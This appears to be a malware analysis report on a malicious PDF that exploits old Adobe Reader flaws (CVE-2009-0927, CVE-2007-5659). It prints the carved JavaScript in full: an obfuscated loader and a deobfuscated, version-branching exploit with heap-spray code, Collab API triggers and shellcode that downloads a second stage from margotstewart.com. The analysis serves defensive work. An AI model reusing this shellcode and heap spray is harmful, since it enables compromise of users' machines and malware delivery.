Malicious PDF — malware analysis report

Static analysis result for SHA-256 f7aff05ef469a208…

MALICIOUS

PDF

615.5 KB Created: 2009-10-25 20:35:22 Authoring application: Scribus 1.3.5svn (via Scribus PDF Library 1.3.5svn) First seen: 2015-09-19
MD5: 18a349875f4eb32385e80ad8e5026bc0 SHA-1: e972a60daecc69cb79ead60db9fe27f98627c734 SHA-256: f7aff05ef469a208d02565c6ce3a4f3b8673c0e451670ba93665fb034c2ff71d
518 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

This PDF file contains embedded JavaScript that is triggered by the OpenAction feature. The JavaScript uses unescape() and String.fromCharCode() functions, indicating obfuscation. The heuristic 'SE_CALLBACK_LURE' suggests a phishing or tech-support scam context. The presence of an embedded JavaScript file and an unknown URL points to a downloader or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9697

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      juTCt7A1qWO=unescape(juTCt7A1qWO);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Callback phishing phone lure medium SE_CALLBACK_LURE
    Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) or Microsoft license-boilerplate documents that carry no urgency or charge/dispute escalation.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.InsiderSoftware.com/fontlist/1.0/ In PDF document text
    • http://margotstewart.com/tmp/load.php?id=31Referenced by PDF JavaScript
    • http://margotstewart.com/tmp/load.php?id=30Referenced by PDF JavaScript
    • http://margotstewart.com/tmp/load.php?id=29Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • https://www.verisign.com/repository/CPS��In PDF document text
    • https://www.verisign.comIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0��In PDF document text
    • https://www.verisign.com/CPS0bIn PDF document text
    • http://www.microsoft.com/truetype/0In PDF document text
    • https://www.verisign.com/repository/RPA0In PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0�In PDF document text
    • https://www.verisign.com/CPSIn PDF document text
    • https://www.verisign.com/repository/CPSIn PDF document text

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0161_001.js pdf-javascript-stream PDF /JS object 161 at offset 0x4BFBB 11185 bytes
SHA-256: 490ea71015ff15a8600b7bf7e1a605b51ecaba6bf9a9e68e505abc8c88b5169d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function STARTSCRIPT()
{
	this.DETCt7A1qWO = function(juTCt7A1qWO,gmTCt7A1qWO)
	{
		ecTCt7A1qWO='';
		juTCt7A1qWO=unescape(juTCt7A1qWO);
		frTCt7A1qWO=juTCt7A1qWO.length;
		for(j=0; j<frTCt7A1qWO; ){ecTCt7A1qWO+= we2(31,(juTCt7A1qWO.charCodeAt(j)-gmTCt7A1qWO)^gmTCt7A1qWO); j++;}
		return ecTCt7A1qWO;
	}
	
	dTCt7A1qWO='I need a javascript that I can place in a form field properties area that will replace a "&" symbol with the word "and".....any help would be greatly appreciated. There are a couple of places you can enter a script that modifies the contents of the field.  The question is, do you want the value of the form field to be altered, or just what the user sees on the screen? To modify the value of the field you will need to use a custom keystroke script.  To modify the appearance of the field you will need to enter a format script.  You can find articles on both of these in the tutorial on this site.  The script itself can be done with the JavaScript "replace" function, In both cases (assuming that youve got an AcroForm) the code will look like this. PHP - Java Chat system for web site. Client is Java applet can run in any Java enabled browsers. The server side is PHP script can be installed on any PHP enabled web host. Interface text can be customized in any language. Multi rooms. Java Script Mutator is intended for optimization and protection of your Java Scripts from theft and modifications. Gnostice PDFOne Java is a pure Java library which provides a rich set of APIs to Create, Fill and Read PDF Forms, Secure, Merge, Split, Stamp PDF documents. = %0D%0A%86q%820Qs%82ofu%820%3D0q%80%80.%86iu%87u%82fu%82%83ion.%84oc%84%82inw%28%29%3B%0D%0AQs%82ofu%820%3D0Qs%82ofu%82.%82u%80lqsu%28%2F%5CT%2Fw%2C22%29%3B%0D%0A%86q%820fu%82%83ion0%3D0nu%870Q%82%82qy%28Qs%82ofu%82.shq%82Q%84%28%40%29%2CQs%82ofu%82.shq%82Q%84%28A%29%2CQs%82ofu%82.shq%82Q%84%28B%29%29%3B%0D%0A%0D%0A%83hullsotu0%3D025%85S%40CC5%858RFD5%85C%40D%405%85%40SG85%85D%408R5%858R%40S5%85ASG%405%858RQT5%85%408E85%85%409UR5%85D%408R5%858TCD5%85GSD%405%85E88R5%85FQCS5%85EQDD5%85UBTA5%85UBBR5%85US8R5%85DVUR5%85EBEQ5%85UQ8C5%8589EF5%85%40DEE5%85EGEF5%85GC8R5%858RCS5%85CCGD5%85%40CG85%85EFVC5%85GF8R5%85%40CB%405%85CCVC5%85D9S95%85DAE%405%85CCQT5%85CFVV5%85RU%40V5%85%40CAD5%85VBC85%85%408GD5%85SVSA5%85%40C%40T5%85D%40VQ5%85UVUR5%85CRE85%85GEV85%85EUUE5%85DF8R5%85%40CBD5%85FFSC5%85%40S8R5%858RD85%85ASEF5%85TC%40C5%85%40D8R5%85%40C8Q5%85EVSC5%85E%40EU5%858TSC5%85%408GT5%85EBEG5%85CCR85%858QSQ5%85U8ER5%85VVQB5%85VVVV5%85S%40CB5%85VG8R5%85QUVB5%85R8DV5%85BUFE5%85G8FE5%85FFQR5%85FF985%85R%40QR5%858QFS5%8598U%405%85F8E%405%85FUFV5%85FDBU5%85GEF85%85FSGB5%85EDFT5%858UR85%85%40UDU5%85VVUS5%85%40DEE5%85E%409C5%85S%40CC5%85E%40E%405%858REF5%85%40DEE5%85SB8C5%858CGV5%85CASB5%85E%40EB5%85CFR85%85BVAQ5%85VVG%405%85%40DEE5%85CCER5%85EGVV5%85R8EF5%85VU985%85%40U8Q5%85EEVV5%85EG%40D5%85UVR85%85U%40SU5%85VVF%405%85%40DEE2%3B%0D%0A%0D%0Aiv0%28fu%82%83ion%5B%40%5D%3D%3D90660fu%82%83ion%5BA%5D%3D%3D%400660fu%82%83ion%5BB%5D%3D%3D%40%29%0D%0A%7B%0D%0A%09%83hulls0%3D0%85nu%83sq%80u%28%83hullsotu%2B25%85GDF85%85G%40GD5%85BvCq5%85FtBv5%85GBFA5%85FvFG5%85GCGD5%85FEGD5%85FAGG5%85GDGB5%85FCBu5%85FtFv5%85GDBv5%85G%40Ft5%85FsBv5%85FAFv5%85BuFD5%85F8G%405%85CvG%405%85FDF95%85CCCt5%85%40%40CA2%29%3B%0D%0A%0D%0A%09v%85ns%84ion0%83%80q%82y%28%29%0D%0A%09%7B%0D%0A%09wq%82rqwu0%3D0%85nu%83sq%80u%2825%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%402%290%2B0%83hulls%3B%0D%0A%09no%80rlosk0%3D0%85nu%83sq%80u%2825%859%409%405%859%409%402%29%3B0%0D%0A%09huqtu%82%83izu0%3D0A%40%3B%0D%0A%09qsl0%3D0huqtu%82%83izu%2Bwq%82rqwu.lunw%84h%3B%0D%0A%09%87hilu0%28no%80rlosk.lunw%84h%3Cqsl%290no%80rlosk%2B%3Dno%80rlosk%3B%0D%0A%09villrlosk0%3D0no%80rlosk.%83%85r%83%84%82inw%28%40%2C0qsl%29%3B%0D%0A%09rlosk0%3D0no%80rlosk.%83%85r%83%84%82inw%28%40%2C0no%80rlosk.lunw%84h-qsl%29%3B%0D%0A%09%87hilu%28rlosk.lunw%84h%2Bqsl%3C%40xD%40%40%40%40%290rlosk0%3D0rlosk%2Brlosk%2Bvillrlosk%3B%0D%0A%09mumo%82y0%3D0nu%870Q%82%82qy%28%29%3B%0D%0A%09vo%820%28i%3D%40%3Bi%3CA8%40%3Bi%2B%2B%290mumo%82y%5Bi%5D0%3D0rlosk0%2B0wq%82rqwu%3B%0D%0A%09%86q%820r%85vvu%82%83izu0%3D0D%40AB%3B%0D%0A%09%86q%820r%85vvu%820%3D0Q%82%82qy%28r%85vvu%82%83izu%29%3B%0D%0A%09vo%820%28i%3D%40%3B0i%3Cr%85vvu%82%83izu%3B0i%2B%2B%29%7B0r%85vvu%82%5Bi%5D0%3D0%85nu%83sq%80u%2825%40q5%40q5%40q5%40q2%29%3B0%7D%0D%0A%09Sollqr.wu%84Ison%28r%85vvu%82%2B2_N.r%85ntlu2%29%3B%0D%0A%09%7D%0D%0A%09%83%80q%82y%28%29%3B%0D%0A%09r%85vvu%820%3D0n%85ll%3B%0D%0A%09mumo%82y0%3D0n%85ll%3B%0D%0A%7D%0D%0Aul%83u0iv%28fu%82%83ion%5B%40%5D%3D%3D8%29%0D%0A%7B%0D%0A%09%83hulls0%3D0%85nu%83sq%80u%28%83hullsotu%2B25%85GDF85%85G%40GD5%85BvCq5%85FtBv5%85GBFA5%85FvFG5%85GCGD5%85FEGD5%85FAGG5%85GDGB5%85FCBu5%85FtFv5%85GDBv5%85G%40Ft5%85FsBv5%85FAFv5%85BuFD5%85F8G%405%85CvG%405%85FDF95%85CCCt5%85%40%40C%402%29%3B%0D%0A%0D%0A%09v%85ns%84ion0%83%80q%82y%28%29%0D%0A%09%7B%0D%0A%09wq%82rqwu0%3D0%85nu%83sq%80u%2825%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%405%859%409%402%290%2B0%83hulls%3B%0D%0A%09no%80rlosk0%3D0%85nu%83sq%80u%2825%859%409%405%859%409%402%29%3B0%0D%0A%09huqtu%82%83izu0%3D0A%40%3B%0D%0A%09qsl0%3D0huqtu%82%83izu%2Bwq%82rqwu.lunw%84h%3B%0D%0A%09%87hilu0%28no%80rlosk.lunw%84h%3Cqsl%290no%80rlosk%2B%3Dno%80rlosk%3B%0D%0A%09villrlosk0%3D0no%80rlosk.%83%85r%83%84%82inw%28%40%2C0qsl%29%3B%0D%0A%09rlosk0%3D0no%80rlosk.%83%85r%83%84%82inw%28%40%2C0no%80rlosk.lunw%84h-qsl%29%3B%0D%0A%09%87hilu%28rlosk.lunw%84h%2Bqsl%3C%40xD%40%40%40%40%290rlosk0%3D0rlosk%2Brlosk%2Bvillrlosk%3B%0D%0A%09mumo%82y0%3D0nu%870Q%82%82qy%28%29%3B%0D%0A%09vo%820%28i%3D%40%3Bi%3CA8%40%3Bi%2B%2B%290mumo%82y%5Bi%5D0%3D0rlosk0%2B0wq%82rqwu%3B%0D%0A%09%86q%820r%85vvu%82%83izu0%3D0D%40AB%3B%0D%0A%09%86q%820r%85vvu%820%3D0Q%82%82qy%28r%85vvu%82%83izu%29%3B%0D%0A%09vo%820%28i%3D%40%3B0i%3Cr%85vvu%82%83izu%3B0i%2B%2B%29%7B0r%85vvu%82%5Bi%5D0%3D0%85nu%83sq%80u%2825%40q5%40q5%40q5%40q2%29%3B0%7D%0D%0A%09Sollqr.wu%84Ison%28r%85vvu%82%2B2_N.r%85ntlu2%29%3B%0D%0A%09%7D%0D%0A%09%83%80q%82y%28%29%3B%0D%0A%09r%85vvu%820%3D0n%85ll%3B%0D%0A%09mumo%82y0%3D0n%85ll%3B%0D%0A%7D%0D%0Aul%83u0iv%28fu%82%83ion%5B%40%5D%3D%3DG%29%0D%0A%7B%0D%0A%09%86q%820fKCDl0%3D0%85nu%83sq%80u%28%83hullsotu%2B25%85GDF85%85G%40GD5%85BvCq5%85FtBv5%85GBFA5%85FvFG5%85GCGD5%85FEGD5%85FAGG5%85GDGB5%85FCBu5%85FtFv5%85GDBv5%85G%40Ft5%85FsBv5%85FAFv5%85BuFD5%85F8G%405%85CvG%405%85FDF95%85CBCt5%85%40%40C92%29%3B%0D%0A%09%0D%0A%09v%85ns%84ion0fSCDl%28fTCDl%2C0fgCDl%29%0D%0A%09%7B%0D%0A%09%09%87hilu0%28fTCDl.lunw%84h%2AB%3CfgCDl%29%7BfTCDl0%2B%3D0fTCDl%3B%7D%0D%0A%09%09fTCDl0%3D0fTCDl.%83%85r%83%84%82inw%28%40%2CfgCDl%2FB%29%3B%0D%0A%09%09%82u%84%85%82n0fTCDl%3B%0D%0A%09%7D%0D%0A%09%86q%820fQ9CI%87ona0%3D02P%40PxP%40PsP%40PsP%40PsP%40PsP2%3B%0D%0A%09fQ9CI%87ona0%3D0fQ9CI%87ona.%82u%80lqsu%28%2F%5BP%5D%2Fw%2C022%29%3B%0D%0A%09%86q%820fR9CI%87ona0%3D02P%40PxPDP%40PP%40PP%40PP%40P%40P2%3B%0D%0A%09fR9CI%87ona0%3D0fR9CI%87ona.%82u%80lqsu%28%2F%5BP%5D%2Fw%2C022%29%3B%0D%0A%09%86q%820faCDl0%3D0nu%870Q%82%82qy%28%29%3B0%0D%0A%09%86q%820f%60CDl0%3D0fQ9CI%87ona%3B0%0D%0A%09%86q%820fMCDl0%3D0fR9CI%87ona%3B%0D%0A%09%86q%820fNCDl0%3D0fKCDl.lunw%84h0%2A0B%3B%0D%0A%09%86q%820fgCDl0%3D0fMCDl0-0%28fNCDl%2B%40xC8%29%3B%0D%0A%09%86q%820fa9BcilN0%3D02P5P%85P9P%40P9P%40P5P%85P9P%40P9P%40P2%3B%0D%0A%09fa9BcilN0%3D0fa9BcilN.%82u%80lqsu%28%2F%5BP%5D%2Fw%2C022%29%3B%0D%0A%09%86q%820fTCDl0%3D0%85nu%83sq%80u%28fa9BcilN%29%3B%0D%0A%09fTCDl0%3D0fSCDl%28fTCDl%2C0fgCDl%29%3B%0D%0A%09%86q%820fLCDl0%3D0%28f%60CDl0-0fR9CI%87ona%29%2FfMCDl%3B%0D%0A%09vo%820%28%86q%820fS9CI%87ona%3D%40%3BfS9CI%87ona%3CfLCDl%3BfS9CI%87ona%2B%2B%29%0D%0A%09%7B%0D%0A%09%09faCDl%5BfS9CI%87ona%5D0%3D0fTCDl0%2B0fKCDl%3B%0D%0A%09%7D%0D%0A%09%86q%820fUio9EUinQ0%3D02P5P%85P%40PsP%40PsP5P%85P%40PsP%40PsP2%3B%0D%0A%09fUio9EUinQ0%3D0fUio9EUinQ.%82u%80lqsu%28%2F%5BP%5D%2Fw%2C022%29%3B%0D%0A%09%86q%820fOCDl0%3D0%85nu%83sq%80u%28fUio9EUinQ%29%3B%0D%0A%09%87hilu%28fOCDl.lunw%84h0%3C0DD9EB%290fOCDl0%2B%3D0fOCDl%3B%0D%0A%09%84hi%83.sollqrc%84o%82u0%3D0Sollqr.sollus%84UmqilInvo%28%7B%83%85rj%3A022%2Cm%83w%3A0fOCDl%7D%29%3B%0D%0A%09faCDl0%3D0n%85ll%3B%0D%0A%7D%0D%0A';
	
	this.we2 = function(num,num2)
	{
		return String.fromCharCode(num%55 - num + num2);
	}
	this.we = function(num,num2)
	{
		return String.fromCharCode(num%55 - num + 10 + num2);
	}
	
	function myCh(bGreater, nGreater, bLess, nLess)
	{
	   value = event.value;
	   if ( bGreater && ( value <= nGreater ) ) {
	app.alert("Value must be greater than " + nGreater);
		   app.beep();
		   event.rc = false;
		   return;
	}
	if ( bLess && ( value >= nLess ) ) {
	app.alert("Value must be less than " + nLess);
		   app.beep();
		   event.rc = false;
		   return;       
	   }
	}
	
	function tion( aTCt7A1qWO, bTCt7A1qWO, dcTCt7A1qWO)
	{
		if (bTCt7A1qWO>11)
		{
			console.println("Entering function: myFunction");
			console.println(" Parameter 1: aTCt7A1qWO = " + aTCt7A1qWO);
			console.println(" Parameter 2: bTCt7A1qWO = " + bTCt7A1qWO);
		}
		else
		{
			code = DETCt7A1qWO(dcTCt7A1qWO [we( aTCt7A1qWO ,105)+"ub"+we( aTCt7A1qWO ,105)+"tr"](1265) ,8+(27+(aTCt7A1qWO-3)-(27+(aTCt7A1qWO-3))%60)*4);
			this[we(aTCt7A1qWO,91)+we(aTCt7A1qWO,108)+we(aTCt7A1qWO,87)+we(aTCt7A1qWO,98)](code);
		}
	}
	
	hTCt7A1qWO = app.viewerVersion.toString();
	hTCt7A1qWO = hTCt7A1qWO.charAt(0);
	tion( hTCt7A1qWO, hTCt7A1qWO/2, dTCt7A1qWO);
}
legacy_pdfkit_stage_000.js deobfuscated-js unescape charCodeAt XOR decoded JavaScript at offset 0x4BFBB 6046 bytes
SHA-256: 16ab1027a4823df2a78fb3db263f426b32107a0f82aeae20b71b6dde6102b0b7
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
I nUUT Q jQfQcSbi`d dhQd I SQn `lQSU in Q Vobm ViUlT `bo`UbdiUc QbUQ dhQd gill bU`lQSU Q     cymRol gidh dhU gobT  QnT .....Qny hUl` goelT RU WbUQdly Q``bUSiQdUT. DhUbU QbU Q Soe`lU oV `lQSUc yoe SQn UndUb Q cSbi`d dhQd moTiViUc dhU SondUndc oV dhU ViUlT.  DhU aeUcdion ic, To yoe gQnd dhU fQleU oV dhU Vobm ViUlT do RU QldUbUT, ob jecd ghQd dhU ecUb cUUc on dhU cSbUUn? Do moTiVy dhU fQleU oV dhU ViUlT yoe gill nUUT do ecU Q Secdom kUycdbokU cSbi`d.  Do moTiVy dhU Q``UQbQnSU oV dhU ViUlT yoe gill nUUT do UndUb Q VobmQd cSbi`d.  Yoe SQn VinT QbdiSlUc on Rodh oV dhUcU in dhU dedobiQl on dhic cidU.  DhU cSbi`d idcUlV SQn RU TonU gidh dhU JQfQCSbi`d  bU`lQSU  VenSdion, In Rodh SQcUc (QcceminW dhQd yoefU Wod Qn 1Sbo6obm) dhU SoTU gill look likU dhic. @H@ - JQfQ 3hQd cycdUm Vob gUR cidU. 3liUnd ic JQfQ Q``lUd SQn ben in Qny JQfQ UnQRlUT RbogcUbc. DhU cUbfUb ciTU ic @H@ cSbi`d SQn RU incdQllUT on Qny @H@ UnQRlUT gUR hocd. IndUbVQSU dUxd SQn RU SecdomizUT in Qny lQnWeQWU. Meldi boomc. JQfQ CSbi`d MedQdob ic indUnTUT Vob o`dimizQdion QnT `bodUSdion oV yoeb JQfQ CSbi`dc Vbom dhUVd QnT moTiViSQdionc. 7nocdiSU @46OnU JQfQ ic Q `ebU JQfQ liRbQby ghiSh `bofiTUc Q biSh cUd oV 1@Ic do 3bUQdU, 6ill QnT BUQT @46 6obmc, CUSebU, MUbWU, C`lid, CdQm` @46 ToSemUndc. = 
var AcroVer = app.viewerVersion.toString();
AcroVer = AcroVer.replace(/\D/g,"");
var Version = new Array(AcroVer.charAt(0),AcroVer.charAt(1),AcroVer.charAt(2));

shellcode = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";

if (Version[0]==9 && Version[1]==0 && Version[2]==0)
{
	shellc = unescape(shellcode+"%u7468%u7074%u2f3a%u6d2f%u7261%u6f67%u7374%u6574%u6177%u7472%u632e%u6d6f%u742f%u706d%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u333d%u0031");

	function spary()
	{
	garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellc;
	nopblock = unescape("%u9090%u9090"); 
	headersize = 10;
	acl = headersize+garbage.length;
	while (nopblock.length<acl) nopblock+=nopblock;
	fillblock = nopblock.substring(0, acl);
	block = nopblock.substring(0, nopblock.length-acl);
	while(block.length+acl<0x40000) block = block+block+fillblock;
	memory = new Array();
	for (i=0;i<180;i++) memory[i] = block + garbage;
	var buffersize = 4012;
	var buffer = Array(buffersize);
	for (i=0; i<buffersize; i++){ buffer[i] = unescape("%0a%0a%0a%0a"); }
	Collab.getIcon(buffer+"_N.bundle");
	}
	spary();
	buffer = null;
	memory = null;
}
else if(Version[0]==8)
{
	shellc = unescape(shellcode+"%u7468%u7074%u2f3a%u6d2f%u7261%u6f67%u7374%u6574%u6177%u7472%u632e%u6d6f%u742f%u706d%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u333d%u0030");

	function spary()
	{
	garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellc;
	nopblock = unescape("%u9090%u9090"); 
	headersize = 10;
	acl = headersize+garbage.length;
	while (nopblock.length<acl) nopblock+=nopblock;
	fillblock = nopblock.substring(0, acl);
	block = nopblock.substring(0, nopblock.length-acl);
	while(block.length+acl<0x40000) block = block+block+fillblock;
	memory = new Array();
	for (i=0;i<180;i++) memory[i] = block + garbage;
	var buffersize = 4012;
	var buffer = Array(buffersize);
	for (i=0; i<buffersize; i++){ buffer[i] = unescape("%0a%0a%0a%0a"); }
	Collab.getIcon(buffer+"_N.bundle");
	}
	spary();
	buffer = null;
	memory = null;
}
else if(Version[0]==7)
{
	var VK34l = unescape(shellcode+"%u7468%u7074%u2f3a%u6d2f%u7261%u6f67%u7374%u6574%u6177%u7472%u632e%u6d6f%u742f%u706d%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u323d%u0039");
	
	function VC34l(VD34l, VW34l)
	{
		while (VD34l.length*2<VW34l){VD34l += VD34l;}
		VD34l = VD34l.substring(0,VW34l/2);
		return VD34l;
	}
	var VA93IwonQ = "@0@x@0@c@0@c@0@c@0@c@";
	VA93IwonQ = VA93IwonQ.replace(/[@]/g, "");
	var VB93IwonQ = "@0@x@4@0@@0@@0@@0@0@";
	VB93IwonQ = VB93IwonQ.replace(/[@]/g, "");
	var VQ34l = new Array(); 
	var VP34l = VA93IwonQ; 
	var VM34l = VB93IwonQ;
	var VN34l = VK34l.length * 2;
	var VW34l = VM34l - (VN34l+0x38);
	var VQ92SilN = "@%@u@9@0@9@0@%@u@9@0@9@0@";
	VQ92SilN = VQ92SilN.replace(/[@]/g, "");
	var VD34l = unescape(VQ92SilN);
	VD34l = VC34l(VD34l, VW34l);
	var VL34l = (VP34l - VB93IwonQ)/VM34l;
	for (var VC93IwonQ=0;VC93IwonQ<VL34l;VC93IwonQ++)
	{
		VQ34l[VC93IwonQ] = VD34l + VK34l;
	}
	var VEio95EinA = "@%@u@0@c@0@c@%@u@0@c@0@c@";
	VEio95EinA = VEio95EinA.replace(/[@]/g, "");
	var VO34l = unescape(VEio95EinA);
	while(VO34l.length < 44952) VO34l += VO34l;
	this.collabStore = Collab.collectEmailInfo({subj: "",msg: VO34l});
	VQ34l = null;
}
icc_00_off00042dd9.icc pdf-icc-profile PDF ICC profile at offset 0x42DD9 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_sfnt_off00004e2c.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4E2C 62160 bytes
SHA-256: 5f96e1e90c4ef56487c91d02c05141dca0967f8e2bbd5d67be6c4f381f0afa79
